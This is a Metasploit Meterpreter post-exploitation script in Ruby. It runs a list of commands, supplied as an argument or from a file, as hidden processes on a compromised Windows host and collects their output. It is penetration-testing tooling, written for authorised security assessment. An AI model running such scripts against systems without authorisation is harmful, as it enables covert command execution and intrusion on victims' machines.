multicommand.rb

# $Id$
# $Revision$
#Meterpreter script for running multiple commands on Windows 2003, Windows Vista
# and Windows XP and Windows 2008 targets.
#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
#Verion: 0.1
################## Variable Declarations ##################
session = client
wininfo = client.sys.config.sysinfo
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
	"-h" => [ false,"Help menu."                        ],
	"-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
	"-f" => [ true,"File where to saved output of command."],
	"-rc" => [ true,"Text file with list of commands, one per line."]
)
#Setting Argument variables
commands = []
script = nil
outfile = nil
help = 0

################## Function Declarations ##################
# Function for running a list of commands stored in a array, returs string
def list_exec(session,cmdlst)
	print_status("Running Command List ...")
	tmpout = ""
	cmdout = ""
	r=''
	session.response_timeout=120
	cmdlst.each do |cmd|
		next if cmd.strip.length < 1
		next if cmd[0,1] == "#"
		begin
			print_status "\trunning command #{cmd}"
			tmpout = "\n"
			tmpout << "*****************************************\n"
			tmpout << "      Output of #{cmd}\n"
			tmpout << "*****************************************\n"
			r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
			while(d = r.channel.read)
				tmpout << d
				break if d == ""
			end
			cmdout << tmpout
			r.channel.close
			#r.close
		rescue ::Exception => e
			print_status("Error Running Command #{cmd}: #{e.class} #{e}")
		end
	end
	cmdout
end
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
	output = ::File.open(file2wrt, "a")
	data2wrt.each_line do |d|
		output.puts(d)
	end
	output.close
end

def usage
	print_line("Windows Multi Command Execution Meterpreter Script ")
	print_line(@@exec_opts.usage)
	raise Rex::Script::Completed

end

################## Main ##################
@@exec_opts.parse(args) { |opt, idx, val|
	case opt

	when "-cl"
		commands = val.split(",")
	when "-rc"
		script = val
		if not ::File.exists?(script)
			raise "Command List File does not exists!"
		else
			::File.open(script, "r").each_line do |line|
				commands << line.chomp
			end
		end
	when "-f"
		outfile = val
	when "-h"
		help = 1
	end
}

if args.length == 0 or help == 1
	usage
elsif commands or script
	if outfile
		filewrt(outfile, list_exec(session,commands))
	else
		list_exec(session,commands).each_line do |l|
			print_status(l.chomp)
		end
	end
	raise Rex::Script::Completed
else
	usage
end